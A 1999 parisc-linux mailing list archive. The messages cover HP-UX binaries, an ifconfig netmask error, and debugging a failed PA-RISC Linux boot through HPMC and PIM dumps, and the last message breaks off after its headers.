X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: xomina <ryan@email.labmed.umn.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get HP-UX working
Date: Wed, 9 Jun 1999 18:04:03 -0500 (CDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.02.9906091758240.5674-100000@email.labmed.umn.edu>
References: <199906092243.SAA15136@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619623 11906 80.91.229.3 (22 Nov 2014 01:27:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: ryan@email.labmed.umn.edu  Wed Jun  9 17:04:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA25883
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 17:04:08 -0600
Original-Received: (qmail 10584 invoked by uid 15267); 9 Jun 1999 23:03:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10577 invoked from network); 9 Jun 1999 23:03:39 -0000
Original-Received: from email.labmed.umn.edu (128.101.59.42)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 23:03:39 -0000
Original-Received: from email.labmed.umn.edu (email.labmed.umn.edu [128.101.59.42])
	by email.labmed.umn.edu (8.8.8/8.8.5) with SMTP id SAA08544;
	Wed, 9 Jun 1999 18:04:04 -0500 (CDT)
In-Reply-To: <199906092243.SAA15136@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:9485


On Wed, 9 Jun 1999, John David Anglin wrote:

> > here's the gnu directory taken from my HP-UX 10.20 machine at work.  it
> 
> Are they static so that they will work without shared libraries?

oops, no, they appear to be dynamic.  at least, i assume that's what this
means:

mercury:/usr/local/gnu/bin> chatr bash
bash: 
         shared executable 
         shared library dynamic path search:
             SHLIB_PATH     disabled  second 
             embedded path  disabled  first  Not Defined
         internal name:
             bash
         shared library list:
             dynamic   /usr/lib/libc.1
         shared library binding:
             deferred 
         static branch prediction disabled
         data page size: 4K
         instruction page size: 4K
mercury:/usr/local/gnu/bin> 

sorry, i didn't install them on this machine, and wasn't aware they
weren't statically-linked.  comes from being a non-kernel programmer and
being a bit hasty to find something i could possibly help out with, i
suppose!

ryan


From - Thu Nov 08 21:15:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get HP-UX working
Date: Thu, 10 Jun 1999 00:19:58 +0100 (BST)
Lines: 28
Approved: news@gmane.org
Message-ID: <E10rrdl-0000sB-00@the-village.bc.nu>
References: <199906092252.QAA06166@rascal.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619623 11907 80.91.229.3 (22 Nov 2014 01:27:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:03 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, tor@spacetec.no, parisc-linux@thepuffingroup.com
To: taggart@rascal.fc.hp.com (Matt Taggart)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Jun  9 17:26:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA26206
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 17:26:39 -0600
Original-Received: (qmail 15115 invoked by uid 15267); 9 Jun 1999 23:26:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15070 invoked from network); 9 Jun 1999 23:26:07 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 23:26:07 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10rrdl-0000sB-00; Thu, 10 Jun 1999 00:20:14 +0100
In-Reply-To: <199906092252.QAA06166@rascal.fc.hp.com> from "Matt Taggart" at Jun 9, 99 04:52:29 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9486

>  >I can't however get HP/UX to set up an interface 
>  >
>  >	194.168.151.23 netmask 255.255.255.224
> 
> Are you getting errors or do you just need to know where to make changes? 
> If it's the former, post the errors and maybe someone can help. If its the 
> latter, you probably want to edit /etc/rc.config.d/netconf

Umm webconsole doesnt support cut/paste

ifconfig lan0 194.168.151.23 netmask 255.255.255.224
ifconfig: ioctl (SIOCSIFNETMASK): bad value

Which is kind of a problem

> for distribution. Rebuilding a system from one of these CD's only takes 
> about 20 minutes. The image could be rebuilt fairly easily if it needed to 
> be updated.  I can also help with this if needed.
> 
> What does everyone think?

A set of GNU tools for HP/UX in a easy format is probably going to make many
HP/UX users happy too - SCO has the "skunkware" CD which is basically a 
GNU brain transplant or SCO and is a similar idea.

Alan



From - Thu Nov 08 21:15:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carl Johnson <cjs@imt.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OFF TOPIC: HP 9000 J200
Date: Wed, 09 Jun 1999 19:11:37 +0000
Organization: CJ Solutions
Lines: 8
Approved: news@gmane.org
Message-ID: <375EBC69.D6C83589@imt.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619623 11908 80.91.229.3 (22 Nov 2014 01:27:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:03 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: cjs@imt.net  Wed Jun  9 19:21:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA26545
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 19:21:31 -0600
Original-Received: (qmail 18452 invoked by uid 15267); 10 Jun 1999 01:21:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18436 invoked from network); 10 Jun 1999 01:21:01 -0000
Original-Received: from blg7-17.imt.net (HELO cjs01.cj-solutions.com) (root@205.162.160.212)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 01:21:01 -0000
Original-Received: from imt.net (cjohnson@www.cj-solutions.com [192.168.0.10])
	by cjs01.cj-solutions.com (8.9.3/8.9.3) with ESMTP id TAA03067
	for <parisc-linux@thepuffingroup.com>; Wed, 9 Jun 1999 19:11:37 GMT
Original-Sender: cjohnson@cj-solutions.com
X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.3.5 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9487

I have aquired a J200 and am wondering about any known problems with
it, the hardware, in the current snapshot of the PA-RISC devel of linux.
I have built a cross complier for it so I will build the tree myself on an i386,
FYI, the machine runs HP-UX 11.0 currently.

-- 
Carl Johnson


From - Thu Nov 08 21:15:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting problems
Date: Thu, 10 Jun 1999 01:07:57 -0400
Organization: The Puffin Group
Lines: 33
Approved: news@gmane.org
Message-ID: <375F482D.E1E0B53D@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619623 11910 80.91.229.3 (22 Nov 2014 01:27:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Wed Jun  9 23:07:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA26959
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 23:07:19 -0600
Original-Received: (qmail 30235 invoked by uid 15267); 10 Jun 1999 05:00:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30228 invoked from network); 10 Jun 1999 05:00:09 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 05:00:09 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id BAA17654
	for <parisc-linux@thepuffingroup.com>; Thu, 10 Jun 1999 01:07:59 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9488


Okay, I've committed a couple of fixes to make the building of the
bootable image go a bit smoother.  Thanks to John for his patch that
doesn't require /dev/zero existing to create the sparse file.

And now it passes the LIF magic and checksum, and dies.  Here's a
hand-typed copy of the console:

"
Main Menu: Enter command > boot p2
Interact with IPL (Y, N, or Cancel)?> n

Booting...
Network Station Address 001039-037944
System IP Address 192.168.1.56
Server IP Address 192.168.1.52

Boot IO Dependant Code (IODC) revision 2


SOFT Booted.
"

And then absolutely nothing.  The cute little heart on the front panel
is stuck on. According to the inside of the top cover (oh, what a great
place to put debug info), this means: "System board fault, HPMC or
Unknown fault".  At this point I'm going for the third.

Looks like we just need to compare a large chunk of the bootable binary
to figure out what's happening.

- Alex


From - Thu Nov 08 21:15:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting problems (fwd)
Date: Wed, 9 Jun 1999 23:04:43 -0700 (PDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <199906100604.XAA26654@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619624 11911 80.91.229.3 (22 Nov 2014 01:27:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Thu Jun 10 00:04:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA27332
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 00:04:53 -0600
Original-Received: (qmail 6693 invoked by uid 15267); 10 Jun 1999 06:04:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6686 invoked from network); 10 Jun 1999 06:04:22 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 06:04:22 -0000
Original-Received: from srmail.sr.hp.com (srmail.sr.hp.com [15.4.45.14])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id XAA12838
	for <parisc-linux@thepuffingroup.com>; Wed, 9 Jun 1999 23:04:47 -0700 (PDT)
Original-Received: from meow.sr.hp.com by srmail.sr.hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3) id AA279974684; Wed, 9 Jun 1999 23:04:44 -0700
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id XAA26654 for parisc-linux@thepuffingroup.com; Wed, 9 Jun 1999 23:04:43 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9489

|SOFT Booted.
|"
|
|And then absolutely nothing.  The cute little heart on the front panel
|is stuck on. According to the inside of the top cover (oh, what a great
|place to put debug info), this means: "System board fault, HPMC or
|Unknown fault".  At this point I'm going for the third.
|
|Looks like we just need to compare a large chunk of the bootable binary
|to figure out what's happening.
|
|- Alex

Just a note about the "cute little heart".  Assuming that the A180 is like
the B180, there are 4 LEDs on the front.  During booting the BootROM
sends one nibble of the chassis code to those 4 LEDs.  WHen HP-UX is
running, the LEDs are written during the timer interrupt.  It's just
a memory mapped register, nothing fancy.  So unless someone has specifically
coded something into Linux to write to the LEDs, it would be the 
expected behavior that they would stay in the last state the BootROM
(or IPL) left them.

	-Bill (Hardware-R-Us) Katz


From - Thu Nov 08 21:15:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Wed, 09 Jun 1999 23:20:40 PDT
Lines: 45
Approved: news@gmane.org
Message-ID: <199906100620.XAA03156@chrome.rose.hp.com>
References: <375F482D.E1E0B53D@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619624 11914 80.91.229.3 (22 Nov 2014 01:27:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com
Original-X-From: kirkb@chrome.rose.hp.com  Thu Jun 10 00:19:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA27507
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 00:19:46 -0600
Original-Received: (qmail 8817 invoked by uid 15267); 10 Jun 1999 06:19:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8807 invoked from network); 10 Jun 1999 06:19:15 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 06:19:15 -0000
Original-Received: from chrome.rose.hp.com (kirkb@chrome.rose.hp.com [15.8.150.209])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id CAA24523;
	Thu, 10 Jun 1999 02:19:34 -0400 (EDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id XAA03156; Wed, 9 Jun 1999 23:20:40 -0700 (PDT)
In-Reply-To: <375F482D.E1E0B53D@thepuffingroup.com>; from "Alex deVries" at Jun 10, 99 1:07 am
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:9490

Alex --
| is stuck on. According to the inside of the top cover (oh, what a great
| place to put debug info), this means: "System board fault, HPMC or
| Unknown fault".  At this point I'm going for the third.
| 
| Looks like we just need to compare a large chunk of the bootable binary
| to figure out what's happening.
| 

Not so fast, there is probably more data to be had. Discounting the system
board or unknown faults, you code has caused an HPMC, High Priority
Machine Check. This could be several things, but a good guess would be
either execution of an invalid instruction (you jumped into data), or
you attempted to read a address where there is no hardware to respond.

The way to check is to reboot the system through self-test and when you
reach the boot console handler execute a "SER PIM" command.  PIM is an
area of non-volatile memory that is filed in by the routine which
handled the HPMC and is filled with the state of the machine when the
HPMC was encountered.  From this you should be able to obtain the
address of the instruction which was executing when the problem occured,
and should be able to determine what type of problem occured (illegal
instruction, bad memory reference, etc.)  The PIM dumps are timestamped,
so make sure that your system time is up to date and that that the PIM
is from your crash.

Do your systems include remote management cards? The remote management
cards offer the ability to force a PIM dump through a TC (Transfer of
Control) command, or to force a reset. They also will display chassis
codes. Chassis codes, see the PDC_CHASSIS call in your pdc32.pdf
documentation), are displayed on the 25th line of an HPTERM compatible
terminal or web console session. They are communicated to the management
cards over a dedicated hardware interface, and so inserting them into
your code gives a very low level way to display debug data.

KMB


--
+============================================================+
|       Kirk Bresniker    	(916) 785-5677		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:15:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Thu, 10 Jun 1999 03:21:28 -0400
Organization: The Puffin Group
Lines: 55
Approved: news@gmane.org
Message-ID: <375F6778.7E2F1385@thepuffingroup.com>
References: <199906100620.XAA03156@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619624 11918 80.91.229.3 (22 Nov 2014 01:27:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Original-X-From: adevries@thepuffingroup.com  Thu Jun 10 01:16:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA27749
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 01:16:57 -0600
Original-Received: (qmail 17786 invoked by uid 15267); 10 Jun 1999 07:16:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17779 invoked from network); 10 Jun 1999 07:16:26 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 07:16:26 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id DAA17727;
	Thu, 10 Jun 1999 03:21:32 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9491

Kirk Bresniker wrote:
> Discounting the system
> board or unknown faults, you code has caused an HPMC, High Priority
> Machine Check. This could be several things, but a good guess would be
> either execution of an invalid instruction (you jumped into data), or
> you attempted to read a address where there is no hardware to respond.

It's likely the bootstrap code jumping to some random bit of data.

> 
> The way to check is to reboot the system through self-test and when you
> reach the boot console handler execute a "SER PIM" command.  PIM is an
> area of non-volatile memory that is filed in by the routine which
> handled the HPMC and is filled with the state of the machine when the
> HPMC was encountered.  From this you should be able to obtain the
> address of the instruction which was executing when the problem occured,
> and should be able to determine what type of problem occured (illegal
> instruction, bad memory reference, etc.)  The PIM dumps are timestamped,
> so make sure that your system time is up to date and that that the PIM
> is from your crash.

All that looks very helpful, and it's the first time I'd heard about it.

I tried that, and I got no error codes, and completely blank registers.
I tried booting a file I knew would break IPL, and I got no error codes
back from it either.

> Do your systems include remote management cards? The remote management
> cards offer the ability to force a PIM dump through a TC (Transfer of
> Control) command, or to force a reset. They also will display chassis
> codes. 

No, we don't have remote manatement cards, but it sounds like they'd be
very useful for this kind of thing.  I know the LCD panels on the D270
displays these, is this a similiar device?


> Chassis codes, see the PDC_CHASSIS call in your pdc32.pdf
> documentation), are displayed on the 25th line of an HPTERM compatible
> terminal or web console session. They are communicated to the management
> cards over a dedicated hardware interface, and so inserting them into
> your code gives a very low level way to display debug data.

Putting the error on the 25th line is a really good idea, but I can't
see the 25th line because of the terminal control buttons ("Line
Modify", "Modify All", etc).  I can't seem to get rid of them either.
What's the trick?

My suspicion is that the problem with our cross compiling bootloader is
somehow related to byte order of the build system.  Jason did his
originally on HPUX (big), and I'm doing my work on i386 (little).  To
check this I'm going to build the kernel on this sparc I have.

- Alex


From - Thu Nov 08 21:15:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Piotr Strzyewski" <gucio@zeus.polsl.gliwice.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get HP-UX working
Date: Thu, 10 Jun 1999 10:57:12 +0200 (METDST)
Organization: Silesian Technical University, Computer Center
Lines: 54
Approved: news@gmane.org
Message-ID: <199906100857.KAA12830@zeus.polsl.gliwice.pl>
References: <E10rrdl-0000sB-00@the-village.bc.nu>
Reply-To: "Piotr Strzyewski" <gucio@zeus.polsl.gliwice.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-2
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619625 11921 80.91.229.3 (22 Nov 2014 01:27:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:05 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox)
To: parisc-linux@thepuffingroup.com
Original-X-From: gucio@zeus.polsl.gliwice.pl  Thu Jun 10 02:57:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA28146
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 02:57:31 -0600
Original-Received: (qmail 27729 invoked by uid 15267); 10 Jun 1999 08:57:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27690 invoked from network); 10 Jun 1999 08:56:53 -0000
Original-Received: from zeus.polsl.gliwice.pl (@157.158.1.3)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 08:56:53 -0000
Original-Received: (from gucio@localhost)
	by zeus.polsl.gliwice.pl (8.8.6 (PHNE_17135)/8.8.6) id KAA12830;
	Thu, 10 Jun 1999 10:57:14 +0200 (METDST)
In-Reply-To: <E10rrdl-0000sB-00@the-village.bc.nu> from Alan Cox at "Jun 10, 99 00:19:58 am"
X-NCC-RegID: PL.CKPOLSL
X-More-info: whois -h whois.ripe.net PS1393-RIPE
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9492

Alan Cox wrote:
> >  >I can't however get HP/UX to set up an interface 
> >  >
> >  >	194.168.151.23 netmask 255.255.255.224
> > 
> > Are you getting errors or do you just need to know where to make changes? 
> > If it's the former, post the errors and maybe someone can help. If its the 
> > latter, you probably want to edit /etc/rc.config.d/netconf
> 
> Umm webconsole doesnt support cut/paste
> 
> ifconfig lan0 194.168.151.23 netmask 255.255.255.224
> ifconfig: ioctl (SIOCSIFNETMASK): bad value
> 
> Which is kind of a problem

Alan - this is from man ifconfig on HP-UX 10.20:

   Supernets
     A supernet is a collection of smaller networks.  Supernetting is a
     technique of using the netmask to aggregate a collection of smaller
     networks into a supernet. This technique is particularly useful for
     class C networks.  A Class C network can only have 254 hosts.  This
     can be too restrictive for some companies.  For these companies, a
     netmask that only contains a portion of the network part can be
     applied to the hosts in these class C networks to form a supernet.
     This supernet netmask should be applied to those interfaces that
     connect to the supernet using the ifconfig command.  For example, a
     host can configure its interface to connect to a class C supernet,
     192.6, by configuring an IP address of 192.6.1.1 and a netmask of
     255.255.0.0 to its interface.

And this is the example on HP-UX 10.20:

# ifconfig lan0 191.1.1.1 netmask 255.255.255.224
# ifconfig lan0
lan0: flags=862<BROADCAST,NOTRAILERS,RUNNING,MULTICAST>
        inet 191.1.1.1 netmask ffffffe0 broadcast 191.1.1.31
# ifconfig lan0 192.1.1.1 netmask 255.255.255.224
ifconfig: ioctl (SIOCSIFADDR): Can't assign requested address
# ifconfig lan0 192.1.1.1
# ifconfig lan0
lan0: flags=862<BROADCAST,NOTRAILERS,RUNNING,MULTICAST>
        inet 192.1.1.1 netmask ffffff00 broadcast 192.1.1.255

I can only say - 'This is HP :-)'. Their ideas are sometimes strange for
me. :-).

gucio

-- 
gucio -> Piotr Strzyewski
E-mail: gucio@zeus.polsl.gliwice.pl


From - Thu Nov 08 21:15:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@osiris.silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get HP-UX working
Date: Thu, 10 Jun 1999 08:21:54 -0500 (CDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <199906101321.IAA20517@osiris.silug.org>
References: <199906092252.QAA06166@rascal.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619625 11923 80.91.229.3 (22 Nov 2014 01:27:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: taggart@rascal.fc.hp.com (Matt Taggart)
Original-X-From: steve@osiris.silug.org  Thu Jun 10 07:22:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA28655
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 07:22:07 -0600
Original-Received: (qmail 20370 invoked by uid 15267); 10 Jun 1999 13:21:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20362 invoked from network); 10 Jun 1999 13:21:35 -0000
Original-Received: from gw.lanscape.net (HELO osiris.silug.org) (208.235.155.254)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 13:21:35 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id IAA20517;
	Thu, 10 Jun 1999 08:21:54 -0500
In-Reply-To: <199906092252.QAA06166@rascal.fc.hp.com> from Matt Taggart at "Jun 9, 99 04:52:29 pm"
X-Mailer: ELM [version 2.4ME+ PL38 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9493

Matt Taggart said:
> Does it make sense to go one step further and package them in either HP's 
> SD depot format or alternatively RPM(and provide RPM on HP-UX)? I have some 
> SD experience and could automate the packaging if needed.

Just for reference, the samba 2.0.x source has packaging scripts for
HP-UX.  I figured out how to build HP-UX packages from that example.
(It's pretty easy, although when you get done, building the package
isn't as simple as "rpm -ba" or "rpm --rebuild".)

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(217)698-1694             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:15:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fredrik Soderblom <frso@hp.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get HP-UX working
Date: Thu, 10 Jun 1999 16:48:01 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9906101645360.2117-100000@rasande>
References: <E10rq7u-0000km-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619625 11925 80.91.229.3 (22 Nov 2014 01:27:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:05 +0000 (UTC)
Cc: Tor Arntsen <tor@spacetec.no>, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: Fredrik.Soderblom@sweden.hp.com  Thu Jun 10 08:47:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA28894
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Jun 1999 08:47:21 -0600
Original-Received: (qmail 4251 invoked by uid 15267); 10 Jun 1999 14:46:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4241 invoked from network); 10 Jun 1999 14:46:49 -0000
Original-Received: from berserk.sweden.hp.com (15.254.224.2)
  by mailserv2.iuinc.com with SMTP; 10 Jun 1999 14:46:49 -0000
